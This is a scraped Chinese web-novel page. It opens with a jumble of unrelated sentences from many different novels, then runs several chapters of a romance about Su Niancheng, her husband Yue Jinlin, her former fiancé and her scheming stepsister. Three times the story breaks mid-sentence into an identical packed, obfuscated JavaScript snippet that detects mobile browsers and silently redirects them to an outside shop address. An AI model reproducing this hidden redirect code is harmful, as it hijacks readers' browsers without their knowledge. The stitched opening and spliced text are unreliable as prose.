步凡一副帮亲不帮理的嘴脸,林柔无奈的叹了一声点点头。倒不是步凡可以挤兑她,只是这个时候必须要做出取舍。雷系魔法师,和侦查人员做出贡献大,自然应该受到优待。 我进到家里,摸黑回到了我的屋内,翻出好几瓶药,各拿了几粒,倒进嘴里,生咽了下去。 硝烟散尽,林炎见到慕云长老的惨状,心中有些不是滋味,慕云长老一生为了提兰兢兢业业,谁又能料到到最后却落得这样的下场呢?而随着慕云长老的身死,慕云长老为何会背叛提兰,也成为了一个谜。 第六十六章 以后有我在 不知道过了多久,苏念橙仍沉浸在自己的世界里,连越靳临叫她都没听见。 楼下,越靳临系着围裙站在厨房里,手里的锅铲顿了顿。 他侧耳听了听,楼上一点动静都没有。 他放下锅铲,擦了擦手,上楼。 门虚掩着,他轻轻推开。 苏念橙坐在床边,手里捧着张照片,低着头。 肩膀轻轻抖着,没发出声音。 登时,在场所有人脸色剧变,神色惨白,浑身颤抖,恐惧向着姬逢远望来。 “这个应该是两极神之中妹妹的神之核吧。”黄蓉看着月夜手上那枚漆黑色的神之核道。 植物人正是组织、器官等等可能都完好无损,甚至也存在生物电系统,但却失去了意识、思维,也即失去了以生物电的有序运动为表征的信息处理中心的“活死人”。 琉雨和白霜鹤两人都有了一点醉意,此刻扬鞭上道,土牛车驰行更急,琉雨虽觉自己心中有许多话想与白霜鹤一谈,但车轮声磷磷震耳,她即使说了出来,人家也无法听到,便只得将这些话闷在肚里。 “把力量借给我使用吧,我可爱的蕾和伊芙。”月夜露出了一个邪魅的笑容道。 石凡刚想将时空之心还给菩提,却没想到那心脏处的朦胧灵韵光华一闪全部融入了他的身体,化作了他的感悟。 身为远超常人的异世界勇者,麦蒂的五感根本不是周围的这些普通人可以媲美的,她们看不到火焰中的情况,麦蒂却看得到。 接着再将可能会因为失血过多而陷入严重昏迷的千冬送入了手术房之后月夜将那双眼无神的束抓到了自己的面前。 她并没有屏蔽视频,望着香衾幔帐里雪肌半掩的绝丽美人,让人既有流鼻血的冲动又温馨莫名。 苏无恙没有答话,事实上,她和许清昙是第一次见,而许清昙,却像了解她颇多,仗还没打呢,她就输了一大半的城池。 不过就在这时,夏阳灵觉一动,忽然感应到寝宫内部的一根柱子后面探出了一颗脑袋。 贾盈说道,语气中充满了无奈,虽然坑了美国政府一次,但是异人族的未来依旧是看不到。 他们暗自庆幸,如果不是因为沙暴的原因,他们昨晚根本就不可能在这里安然度过一夜。 大厅正上方,夏阳微微一笑,丝毫不见倨傲。从这六僧发白的面色,看得住他们这一路上为了镇压盒中之物耗费了不少心力,而且以他们的年纪,足以令人心生敬意。 刚刚唐宣接近苏煜阳的时候,凌秒的拳头就蓄势待发了,只是被苏煜阳察觉到,然后拳头落入了苏煜阳掌心。 白忆雪新婚的那一夜,白忆雪明摆着就是有意要将杨华推给姚菲儿的。然而,那一晚上,杨华也喝了不少的酒,醉,是自然不消说的。 话音刚落,凌阳的身影倏然凭空消失掉,李斛目瞪口呆,感觉到手上一轻,手中紧握着的沙漠之鹰,已经到了凌阳的手里。 宁其澜惊讶的看向苏影湄。他还没问过,苏影湄和律昊天怎么样了。这一次,律昊天怎么没有一起过来。 “青娘,你看。”吴秀才按着青娘坐到一把旧椅子上,从怀里摸出绸包,推开青娘面前碗筷放下,又向着青娘推了推,示意她打开。 一边用话刺激老爸,钱洪一边把钱迅速的收了起来,省的待会儿露馅,实际上这一堆毛钱至少在150元左右普,尽管只有巅峰状态下的20-30%,可作为年后开业的第一天还是非常可观的。 第六十七章 送你自行车理所当然 这天晚上,苏念橙上完补习班,跟何佩佩一块儿走出校门。 夜风凉丝丝的,吹在脸上很舒服。 何佩佩挽着她的胳膊,边走边抱怨,“今天的教书的老师真凶。念橙,你怎么都不那恼的?” 对于凯萨的到来,席家还是很欢迎的,毕竟席曦晨因毁容,自闭了那么多年,如今终于又有了朋友,这是好的改变。 林萧拿起铁锹,余光在微弱灯光下看见那男子身穿的服饰上,那大大的“死”字。 就在全服团队连普通模式都没通关的时候,第二个副本的首杀系统公告,又出来了。 “你就是太好说话。”许翼摇摇头,其实只要她开口,就算要他手刃那混蛋,他都毫不手软。 灵山之上,长门感受到了天地之间的煞气不断的砸凝集,而煞气当中似乎有一股巨大的力量在慢慢的成型。 但是,除了这双墨眉飞剑,左玄竟然找不出一件能拿得出手的飞遁法宝来。 已过亥时,若馨换上一套夜行衣,离开了后院管家拨给她的那间屋子,潜入今晚的目的地。 那颗泪珠,早已消匿在意识海,却于此时,被少年陡然翻涌出的记忆一一弥补。 白容向来不擅言辞,这些话他说出口艰难却又如此流利。不知是他想了多久,又在心中演练了多少次。 虽然在森林的时候,席曦晨教了季熙妍不少东西,但复杂一点的字,她都不认识,也想不出怎么写。 耿直原本正在子弹的火线之上,听见身后的车门声,知道要进行扫射了,一把拉住身边的金虎,绕到了卡车背后。 光耀离去,冷蔓言和龙笑风对视,两人皆是无言以对,龙笑风张张嘴想说什么,冷蔓言却是压根儿不给他机会,转身便是朝着自己的房间行去,推门走了进去,理也不理龙笑风的将他丢在了门外。 “你是什么人,怎么也会被关到这里?”乔嫣注视着他,泪珠在睫毛上颤动。 裴子云的这本册子很薄,但里面每人只要使出来就很强,默默背熟后,早川直美迟疑的抬起头看着裴子云。 “我可以让八卦派帮你。一旦你成功之后。你得到你想要的。而我得到我想要的。我想要的就是让八卦派成为翔天大陆上的第一大派。实现我的野心。”秦柔瞪着朱玉。铿锵的说道。 两位8阶大巫师,二十多个中高阶巫师,以及众多的低阶巫师和400人的巫师守卫。以这样的力量来看守燃烧平原的入口,倒也显现了东地塔林巫师协会对此地的重视。不过这也侧面推高了卡尔萨斯闯入的难度。 石雨辰努了努嘴,眼神飘忽不定,似有话要说。一会想说,一会又将话咽下肚去。 所谓21点,就是游戏者手中的牌的点数之和不超过21点且尽量大。 还没等李洵返回石塔,奥罗已经找上了门来。这次出行李洵发布的功勋点可不少,也让他凑够了需要的1000点。 如果我想要让大家振作起来,我自己首先得能够振作起来,调整好自己的情绪,认识好面前的处境。 “嘿!你这国王哪里的话?俺老孙上可通天下可入地,你怎么看不起俺老孙?这是何道理?”悟空有些不高兴,他发现对面的三个道人乃是妖怪,更加不高兴了。 第六十八章 学车 苏念橙被他问住了。 她想反驳,却找不出话来。 是啊,他们领了证的。 街道办盖了章的,红彤彤的本本,跟别人结婚没什么两样。 可她心里还是觉得不对劲。 “可是……”她咬了咬嘴唇,“我不会骑啊。” 越靳临笑了。 尚武点了点头,他的脸色也很是黯然,自己能有顾惜惜这么个徒弟已经不错了,可她却出了事,这也跟自己这些年没有悉心教导有关吧,说不定以顾惜惜的资质应该能够更上一层楼才是。 满怀着忧虑,陆清宇四下眺望了一番,想要找个高点的地方打探打探前方的情况。 “一个连亲人都保护不了的家伙,有什么资格坐族长的位置!”举座皆惊,这句话让那些心存异议的家伙马上闭上了嘴。燕飞撇撇嘴,这帮家伙就这点儿战斗力,话说他准备了一大套说辞,现在看来,根本无用武之地。 “很好!不愧是我老威尔的学生!要知道,守护者手中的特权那可不是一般的大呀…”就在老威尔向燕飞伸出大拇指的时候,被大魔导士维德尼娜给打断了。 夏天可不是危言耸听,每一句话都戳在了男人的心头,的确,双方并没有死仇,男人也不是非要夏天的身体不可,只不过是因为夏天距离他最近而已。 听着渐渐远去的脚步声,陆清宇轻轻叹了一口气,然后看向了身旁一直默不作声的羽墨,此时的羽墨脸色煞白,蹲在地上一动不动,如同丢了魂一般。 顿时牧牧心情大好,可是等待他的依然是未知不可预计的精彩未来。 说罢,林黛儿还特地原地轻轻蹦跳了两下,表示自己好得很,可就着她那副苍白的脸色,却怎么看都让人觉得怜惜。 “那是?传说中的青龙!荒古神兽中的青龙,由剑意凝结而成的青龙,这大御剑术太吓人了,居然能幻化出青龙!”墨衣弟子震惊着,脸上的表情复杂不已。 “等等!你是说……要将我们三个送到城西!”,不知为什么,凌云在听到凌霄的命令后脸色突然变得极为难看,就连说话的声音也有一些颤抖,显然,凌霄口中的城西,绝对是一个可怕的去处。 此阵是以扇面上的阵法图触发,以聚灵石为阵眼,不断地吸收天地灵气来维系如此庞大的法阵。 杨天辰盘腿坐在蒲团之上,一道木色神魂勾连在神识之中。千问已是进入杨天辰的识海,与连理枝叶那时一样,要以残存灵气助杨天辰精进修为。 客人也不再多说,告了辞就和童老板一块离去,童老板走到门口的时候回头看了我一眼,颇有点意味深长的意思,我当时正高兴,也没怎么在意。 “这样会不会有危险?”方晨曦转过来,赫莉已经开始传输零素了。 卫澈一眼辨认出这个水袋,这正是卫清之前装永夜花的水袋。原来卫清是用永夜花把火鳞蛇毒死的。 “另外,这串手是一种稀有矿石制成,有驱毒避邪之功效,献给皇上把玩”谷粒从衣袖里拿出一串比拇指还大一些的黑色雕刻纹理的黑色珠串,仔细端详才发现是一条栩栩如生的五爪巨龙。 “卑职办事不利,未能找到天辰公子,请王爷责罚!”那人跪在地上,低着头,沉声道。 第六十九章 搂腰 “嗯?”越靳临的声音从后面传来,离得不远。 她回头看了一眼。 他站在几步外,正看着她,嘴角带着笑。 “你松手了?”她问。 “嗯。”他说,“你自己骑的,骑得很好。” 苏念橙愣住了。 她自己骑的? 她低头看了看,车确实在往前跑,稳稳的,一点都不晃。 她真的会骑了? 心里一高兴,车把晃了一下。 她赶紧稳住,不敢再分心。 骑了一圈,她慢慢停下来,脚撑地。 然后回过头,看着他。 夕阳的余晖落在他身上,把他整个人都照得暖洋洋的。 他站在那儿,看着她,眼里带着笑意。 “骑得不错。”他说。 苏念橙忍不住笑了,梨涡浅浅的,“真的吗?” “嗯。”他走过来,“再练几圈,就更熟了。” 苏念橙点点头,又跨上车。 这次她没让他扶,自己慢慢骑起来。 一圈,两圈,三圈。 越来越稳,越来越顺。 风迎面吹来,吹起她的碎发,她忽然觉得心里畅快得很。 骑到第三圈的时候,她看见他站在操场边上,正看着她。 她朝他挥挥手。 他也挥挥手。 她收回目光,继续往前骑。 天边最后一丝光落下去,路灯亮起来了。 苏念橙慢慢停下来,下了车。 越靳临走过来,“累了?” 她摇摇头,“不累。” 她推着车,走在他旁边。 “明天还练吗?”他问。 苏念橙想了想,“明天晚上有课。” “那后天。”他说,“再练几天,就能自己上路了。” 苏念橙点点头,“好。” 两人慢慢走出公园。 路灯把街道照得昏黄,有人在路边散步,有孩子追着跑。 苏念橙推着那辆崭新的自行车,走在他旁边,心里甜滋滋的。 “越靳临。”她忽然开口。 “嗯?” “谢谢你。”她说,抬起头看他,“自行车我很喜欢。” 越靳临低头看着她,嘴角弯了弯。 “喜欢就好。”他说。 她笑了笑,继续往前走。 走了几步,她忽然想起什么。 “对了,”她看着他,“咱们今晚怎么回去?你骑车带我?” 越靳临点点头,“嗯,你骑车载我。” 苏念橙愣住了。 “我载你?” “怎么,不敢?”他看着她,眼里带着笑意。 苏念橙咬了咬嘴唇,“我……我才刚学会。” “没事。”他说,“我在后头扶着。” 苏念橙想了想,点点头,“那……那你可得扶稳了。” “嗯。” 她跨上车,坐稳。 越靳临坐上来,手轻轻扶着后座。 “走吧。”他说。 苏念橙深吸一口气,脚蹬起来。 车晃了一下,很快稳住。 她骑着车,载着他,慢慢往前。 风吹过来,凉丝丝的。 “还行吗?”他在身后问。 苏念橙点点头,“还行。” 话音刚落,前面忽然出现一个下坡。 她还没反应过来,车就猛地往下冲。 速度一下子快起来,车把开始剧烈晃动,她整个人往前栽,根本握不住。 “啊——” 她惊叫一声,眼看就要连人带车翻下去。 就在那一瞬间,一只手从身后伸过来,稳稳握住车把。 另一只手紧紧箍住她的腰,把她整个人往后一带。 “别怕。” 低沉的声音就在耳边。 越靳临从后座跃下,一手控着车把,一手揽着她的腰,硬生生把失控的自行车稳住了。 车停下来。 苏念橙心跳得像要从嗓子眼蹦出来,大口喘着气,手还死死攥着车把,指节泛白。 “没事吧?”越靳临松开手,走到她面前,低头看她。 苏念橙抬起头,脸还白着,眼眶都红了。 她摇摇头,“没、没事。” 又想起什么,赶紧上下打量他,“你呢?你没摔着吧?” 越靳临看着她那副紧张的样子,嘴角弯了弯,“我没事。” 苏念橙这才松了口气,心有余悸地回头看了一眼那个下坡。 其实坡度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306529|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不大,但她刚学会,根本把握不好。 她咬了咬嘴唇,看向他,“还是……还是你载我吧。” 越靳临看着她,“怕了?” 苏念橙点点头,又摇摇头,“就是……不太敢了。” 他伸手揉了揉她的头发,“没事,开车哪有不摔的?多练练就好了。” 苏念橙愣了一下,抬起头看他。 路灯的光落在他脸上,把那双眼眸照得亮亮的。 他就那么看着她,眼里带着点笑意,还有一点她看不懂的东西。 她心里一暖,点点头,“知道啦。” 越靳临跨上车,回头看她,“上来吧。” 苏念橙坐到他身后,轻轻搂住他的腰。 自行车往前骑,比刚才稳当多了。 风她靠在他背上,闻着那股熟悉的皂味,心里那点后怕慢淡了些。 “饿不饿?”他忽然问。 苏念橙想了想,“有点。” “前面有家卖馄饨的。”他说,“去吃点?” “好。” 自行车拐进一条小巷,在一家小摊前停下。 摊子不大,几张木头桌子,坐了几个人。 老板是个胖大叔,系着白围裙,正往锅里下馄饨,热气腾腾的。 越靳临要了两碗馄饨,又加了两个卤蛋。 馄饨端上来,皮薄馅大,汤上飘着葱花和紫菜,香味直往鼻子里钻。 苏念橙低头咬了一口,烫得直哈气。 “慢点吃。”越靳临把卤蛋推到她面前,“没人跟你抢。” 苏念橙点点头,小口小口地吃。 吃完馄饨,浑身都暖和了。 越靳临付了钱,两人往回走。 回到家,苏念橙洗了澡就上楼睡了。 躺在床上,她想起刚才那个下坡,想起他一把搂住她的腰稳住了车,心里还有点后怕,又有点暖。 她翻了个身,盯着天花板。 要是没有他,她今天就摔惨了。 她忽然觉得,有他在身边,好像什么都不怕。 这个念头冒出来,她自己都愣了一下。 然后脸红了。 她摇摇头,把脸埋进枕头里。 不想了不想了,睡觉。 第七十章 旧人 接下来的几天,苏念橙照常复习、上班、上课。 工作日晚上不用去补习班,她就自己推着自行车去公园练车。 那天的事让她心有余悸,但她不想就这么放弃。 越靳临说得对,开车哪有不摔的?多练练就好了。 公园的操场还是老样子,傍晚人不多,正好练车。 她一圈一圈地骑,越骑越稳,越骑越顺。 下坡的时候也不再害怕,知道捏刹车了。 骑了几圈,她停下来,擦了擦汗,正准备再骑一圈,忽然听见身后有人叫她。 “苏念橙。” 她回过头。 何钧礼站在几步外,穿着件深灰色的毛衣,站在夕阳里。 苏念橙愣了一下,收回目光,推着车就要走。 “等等。”何钧礼快步追上来,拦在她面前。 苏念橙停下脚步,抬起头看着他。 她脸上没什么表情,声音也很平静,“有事?” 何钧礼看着她,张了张嘴,一时竟不知道说什么。 她穿着件浅蓝色的外套,头发扎成马尾,额头有薄薄的汗。 脸颊因为运动微微泛红,眼睛亮亮的,比在乡下时好看多了。 他忽然想起那些年,她也是这样,干完活回来,脸红红的,眼睛亮亮的,看见他就笑。 可她现在看他的眼神,冷得像看陌生人。 “我……”他顿了顿,“你最近好吗?” 苏念橙看着他,觉得有点好笑。 “挺好的。”她说,“还有别的事吗?” 何钧礼被她那语气噎了一下。 他咬了咬牙,“念橙,我知道你恨我。但那三年,我是真心喜欢过你的。” 苏念橙愣住了。 她抬起头,看着何钧礼。 夕阳的余晖落在他脸上,把那清隽的面容照得格外真诚。 她忽然想起那些年,他站在村口等她,脸红红地说喜欢她。 那些画面,现在想起来,像隔了一层**玻璃,模糊得很。 可那种被欺骗的感觉,她永远忘不了。 “喜欢过?”她重复了一遍这三个字,忽然笑了。 那笑意不达眼底,反倒让人觉得冷。 “何钧礼,”她开口,“我怎么记得我刚到省城时,你口口声声说的是我一厢情愿。现如今你跟我说你喜欢过我?” “真可笑。”苏念橙冷笑道。 何钧礼愣住了,他欲言又止,“不是你想的那样……” 苏念橙懒得与他周旋,只想尽快结束对话,她深吸一口气,把那点翻涌的情绪压下去。 “何钧礼,你喜欢的是我这个人,还是我对你的好?” “当然是喜欢你。”何钧礼道。 苏念橙看着他,忽然觉得索然无味。 “需要我提醒你吗?妹夫?你已经和我继妹结婚了。”她说,“麻烦让开,我要回去了。” 何钧礼没动。 他站在原地,看着她的背影,忽然开口。 “苏念橙。” 苏念橙脚步顿了顿,没回头。 “如果……”他的声音有点哑,“如果我当时没娶苏荷雨,你还会等我吗?” 苏念橙愣了一下。 她站在那儿,背对着他,沉默了几秒。 然后她回过头,看着他。 “不会。”她说。 何钧礼愣住了。 苏念橙看着他,声音平静,“何钧礼,就算你没娶苏荷雨,我也不会再等你了。” “那三年,是我心甘情愿的。可我的心甘情愿,不是让你糟践的。” 她说完,推着车往前走。 “苏念橙!”何钧礼在身后喊。 她没回头。 走到公园门口,她忽然停下脚步。 越靳临站在路灯下,穿着那件深灰色外套,手里拎着个纸包。 看见她出来,他走过来。 “练完了?”他问,目光越过她,往公园里扫了一眼。 苏念橙点点头,“嗯。” 越靳临收回目光,把手里的纸包递给她,“刚买的炸糕,还热着。” 苏念橙接过来,打开咬了一口。 外酥里嫩,甜丝丝的。 “还是那么酥脆。”她抬起头,看着他笑。 越靳临看着她,伸手揉了揉她的头发。 “走吧,”他说,“回家。” 苏念橙点点头,推着车走在他旁边。 走了几步,她忽然开口。 “越靳临。” “嗯?” 她咬了咬嘴唇,“你刚才……都看见了?” 越靳临脚步顿了顿,“嗯。” 苏念橙低下头,盯着自己的鞋尖,“他说的那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306530|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,你别往心里去。” 越靳临看着她,沉默了两秒。 “你往心里去了吗?”他问。 苏念橙愣了一下,摇摇头,“没有。” “那就行。”他说。 苏念橙抬起头,看着他。 他就那么看着她,眼里带着笑意。 她心里一暖,忽然觉得,刚才那些话,好像也没那么重要了。 “走吧,”她推着车往前走,“回家。” 越靳临跟在她旁边,两个人慢慢消失在夜色里。 何钧礼站在公园门口,看着那两个人的背影,攥紧拳头,指甲掐进掌心。 **自己为什么会来这儿。 下班路过,鬼使神差就进来了。 然后就看见她在操场上骑车,一圈一圈,骑得很认真。 他站在暗处,看了很久。 直到她发现他。 他以为她至少会有一点点动容。 可她看他的眼神,冷得像冬天的井水。 他站在原地,风吹过来,凉飕飕的。 片刻后,他低下头,慢慢往回走。 走出公园,路过那盏路灯时,他忽然停住脚步。 地上有张纸,不知道是谁丢的。 他捡起来一看,是张收据。 师范学院的补习班,三十块。 报名人:苏念橙。 他看着那三个字。 是啊,她也想考大学。 他想起那天在夜校,她站起来回答问题,周教授夸她答得好。 那时候他就该想到的。 她从来不是那个只会洗衣做饭的乡下丫头。 是他一直没看见。 他把那张收据折好,放进口袋里,转身往家走。 走到家门口,他顿了顿,把那收据拿出来,看了看,又折好放回去。 推开门,屋里亮着灯。 苏荷雨正坐在桌边看书,听见动静抬起头,笑着迎过来。 “钧礼,回来啦?今天怎么这么晚?” 何钧礼看着她那张温柔的脸,心里忽然涌起一股烦躁。 “加班。”他说,换了鞋往里走。 苏荷雨跟在他身后,“吃饭了吗?我给你热着饭呢。” “吃了。”他在桌边坐下,倒了杯水。 苏荷雨在他旁边坐下,靠在他肩上,“钧礼,你今天怎么了?心情不好?” 第七十一章 买礼物 何钧礼说没事,然后就吻了吻她的额头,“我去洗澡。” 苏荷雨笑了笑,看着他走进澡间,门关上了。 她坐在床边,总觉得哪里不对劲,却说不上来。 他今天回来得晚,说是加班。 可身上没有图纸的墨味,倒有股凉丝丝的夜风的味道。 她摇摇头,把那点疑虑压下去。 起身去收拾他换下来的衣服。 掏口袋的时候,手指碰到一张纸。 她拿出来一看,愣住了。 师范学院的补习班收据,三十块。 报名人:苏念橙。 她盯着那三个字,手指慢慢攥紧,指节泛白。 苏念橙。 她男人的口袋里,揣着苏念橙的报名收据。 她想起她结婚那天,苏念橙穿着那件红裙子,站在那个男人身边,笑得那么得意,坐在角落,何钧礼的目光一直往那边飘。 他们不会今晚见面了吧? 她咬着嘴唇,眼眶红了。 那个**,都嫁人了还不安分,还来纠缠她男人。 她深吸一口气,把收据折好,放回口袋里。 咬了咬牙,忍了下去。 但她心里记下了。 总有一天,要给苏念橙点颜色看看。 —— 槐花胡同三号楼。 苏念橙趴在桌上,对着日历发愁。 越靳临的生日快到了。 十一月初六,还有十来天。 可她不知道送什么好。 她这辈子没给人送过生日礼物。 在乡下的时候,何钧礼过生日,她都是做顿好吃的,或者攒钱买本书送他。 可越靳临不一样。 他什么都不缺。 她想了半天,决定找何佩佩出出主意。 第二天下午,两人约在供销社门口碰面。 何佩佩裹了条蓝色围巾,脸红扑扑的,看见她就跑过来。 “橙子!找我啥事?” 苏念橙拉着她往供销社里走,“帮我挑个礼物。” “礼物?给谁的?” “越靳临。”苏念橙脸有点红,“他快过生日了。” 何佩佩眼睛亮了,“哎哟,可以啊念橙!都知道给男人送礼物了!” 苏念橙脸更红了,推了她一把,“别瞎说,我就是……就是想谢谢他。” “行行行,谢谢他。”何佩佩笑得贼兮兮的,“走走走,去礼品区看看。” 两人往礼品区走。 何佩佩忽然想起什么,“对了,我哥也快过生日了。他也是十一月的,就比你家越靳临晚几天。到时候我也给他随便买点东西吧。” 苏念橙脚步顿了顿。 何钧礼也是十一月生日。 可她一点都没想起来。 她愣了一瞬,然后继续往前走。 “你哥生日是哪天?”她随口问。 “十一月初九。”何佩佩说,“比你家越靳临晚三天。” 苏念橙点点头,没再接话。 要是搁以前,她肯定记得清清楚楚。 提前三个月就开始攒钱,想给他买最好的。 可现在,她连想都没想起来。 她忽然觉得,那些过去,好像真的翻篇了。 两人走到礼品区,柜台里摆着各种东西。 钢笔、笔记本、搪瓷缸子、毛巾、还有几块手表。 苏念橙挨个看过去,不知道挑哪个好。 “你说我该送点什么?”她问何佩佩。 何佩佩挠挠头,“我也不知道啊。我又没谈过恋爱,哪知道男人喜欢什么。” 苏念橙叹了口气,继续看。 钢笔?他好像不怎么写字。 手表?他已经有一块了,而且挺贵的。 搪瓷缸子?太普通了吧。 她正发愁,忽然听见身后传来一个熟悉的声音。 “哟,这不是念橙吗?” 苏念橙回过头。 苏荷雨站在几步外,穿着一件粉色呢绒毛衣,头发烫了卷,脸上抹着淡淡的胭脂。 她身边还站着几个年轻姑娘,打扮得都挺时髦,一看就是城里人。 其中一个扎着马尾的姑娘上下打量着苏念橙,目光在她那件旧外套上转了一圈,撇了撇嘴。 “荷雨,这就是你说的那个乡下继姐?” 苏念橙愣了一下,看向那个姑娘。 她不认识。 苏荷雨笑了笑,走过来,挽住苏念橙的胳膊,“晶晶,别这么说。我姐虽然是从乡下来的,但人挺好的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306531|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>那个叫晶晶的姑娘哼了一声,“乡下人进城,还来供销社逛?买得起吗?” 何佩佩一听就火了,“你说谁呢?谁买不起?” 苏荷雨赶紧打圆场,“佩佩,别生气。晶晶就是嘴快,没别的意思。” 她看向曾晶晶,“晶晶,这是我小姑子,何钧礼的妹妹。” 曾晶晶愣了一下,脸上闪过一丝不自然,但很快又恢复了那副高傲的样子。 “哦,原来是你啊。”她上下打量了何佩佩一眼,“何钧礼的妹妹?长得倒挺像。” 何佩佩瞪着她,“像不像关你什么事?” 曾晶晶还想说什么,旁边一个穿红裙子的姑娘扯了扯她的袖子,小声说,“晶晶,别闹了。” 曾晶晶哼了一声,没再说话。 苏荷雨笑着看向苏念橙,“姐,你来供销社买什么?” 苏念橙看着她那张假惺惺的脸,心里一阵恶心,“随便看看。” 苏荷雨眨眨眼,“随便看看?我还以为你是来给我姐夫买生日礼物的呢。” 苏念橙愣了一下。 她怎么知道越靳临快生日了? 苏荷雨看着她那表情,笑了笑,“我听我妈说的。妈说那天在村里,看见你男人了,长得真俊。还说你们感情挺好,你肯定得给他准备生日礼物。” 她顿了顿,忽然叹了口气,“姐,其实我一直想跟你说,你别怪钧礼。他那人就是心软,以前在乡下的时候,你对他好,他都记着。可现在他结婚了,你也结婚了,有些事,该放下的就得放下。” 苏念橙看着她,眉头皱了皱,“你什么意思?” 苏荷雨眨眨眼,一副无辜的样子,“没什么意思啊。就是觉得,你既然嫁了人,就该好好过日子。别老惦记着过去的事。” 何佩佩在旁边听不下去了,“苏荷雨,你胡说什么呢?念橙什么时候惦记过去的事了?” 她本来就看不顺眼这个嫂子,今天这么一看更加不顺眼。 苏荷雨叹了口气,“佩佩,你还小,不懂。有些事,不是嘴上说不惦记就能放下的。” 她看向苏念橙,“姐,我知道你心里苦。可有些东西,不是你的,强求也没用。” 第七十二章 织围巾 苏念橙看着她,忽然笑了。 那笑意不达眼底,反倒让人觉得冷。 “苏荷雨,”她开口,“你想说什么,直接说。别绕弯子。” 苏荷雨愣了一下,脸上的笑僵了一瞬。 曾晶晶在旁边插嘴,“荷雨是给你留面子,你别不识好歹。” 苏念橙看向她,“你又是谁?” 曾晶晶挺了挺胸,“我叫曾晶晶,是荷雨的大学同学。我们家在省城开了个厂子,可不是你们这些乡下人能比的。” 苏念橙点点头,“哦,开厂的。那你知道强买强卖是什么罪吗?” 曾晶晶愣住了,“什么?” 苏念橙看着她,“你刚才那话,不就是想说我买不起供销社的东西吗?怎么,你们家开的厂子,还管别人买不买得起?” 曾晶晶脸涨得通红,“你——你胡说什么?” 苏念橙没理她,看向苏荷雨。 “苏荷雨,你听好了。”她一字一顿,“我跟何钧礼,早就没关系了。你嫁给他,是你的事。我嫁给谁,是我的事。咱们井水不犯河水,你少在这儿阴阳怪气。” 苏荷雨脸上的笑彻底僵住了。 她咬了咬嘴唇,眼眶红了,“姐,你怎么能这么说我?我真的是为你好……” “为我好?”苏念橙打断她,“为我好,你就在这儿当着这么多人的面,说我惦记你男人?” 苏荷雨张了张嘴,说不出话来。 曾晶晶在旁边急了,“你怎么说话的?荷雨好心好意劝你,你还倒打一耙?” 苏念橙看着她,“她是你朋友,你护着她,应该的。但她说什么做什么,她自己心里清楚。” 她顿了顿,“还有,你说你们家开厂子,有钱。那正好,帮我带句话给你那些有钱的朋友。做人留一线,日后好相见。别仗着有几个钱,就觉得自己能欺负人。” 曾晶晶被她噎得说不出话来。 旁边几个姑娘面面相觑,不敢吱声。 苏荷雨站在那儿,脸色青一阵白一阵。 何佩佩在旁边憋着笑,使劲掐自己的手才没笑出声来。 苏念橙说完,转身就走。 何佩佩赶紧跟上,走到门口,终于忍不住笑出声来。 “橙子,你太厉害了!”她一把搂住苏念橙的胳膊,“你没看见苏荷雨那张脸,跟吃了苍蝇似的!还有那个曾晶晶,被你怼得话都说不出来!” 苏念橙笑了笑,没说话。 何佩佩看着她,忽然说,“橙子,你变了。” 苏念橙愣了一下,“哪儿变了?” “以前在乡下的时候,你受了委屈就忍着,从来不跟人吵。”何佩佩认真地说,“现在不一样了,谁敢欺负你,你就怼回去。” 苏念橙低下头,想了想。 好像是变了。 以前她不敢争,因为争了也没用。 苏国强不会帮她,何钧礼也不会。 争了,只会挨打挨骂,最后吃亏的还是自己。 可现在不一样了。 她有越靳临。 他会在她受委屈的时候站在她面前,会在她被欺负的时候替她撑腰。 她不用再忍了。 “因为你男人?”何佩佩眨眨眼。 苏念橙脸一红,点点头,“嗯。” 何佩佩笑了,“真好。他对你好,你就敢跟人怼了。” 两人继续往前走,决定织围巾,于是去买毛线。 供销社的毛线区不大,柜台里摆着几排毛线,有红的绿的黄的,还有藏青和灰色的。 苏念橙挑了一卷灰色的毛线,摸着挺软和。 “这个颜色怎么样?”她问何佩佩。 何佩佩点点头,“不错,耐脏,你男人穿肯定好看。” 苏念橙付了钱,把毛线装好。 何佩佩也挑了点东西,两人出了供销社,一起往槐花路回去。 片刻后,到了家属院。 “那我回去了。”苏念橙说,“谢谢你陪我。” 何佩佩摆摆手,“客气啥。织围巾不会的话来找我,我教你。” “好。” 何佩佩刚要走,苏念橙又叫住她,“佩佩,以后有苏荷雨在的地方,你要不还是不要理会了,我怕你难做,她毕竟也是你嫂子。” 闻言,何佩佩知道她的顾虑,她笑了笑,无所谓道:“你这话可就生分了,在家她是我嫂子,在外我肯定护着你呀。而且 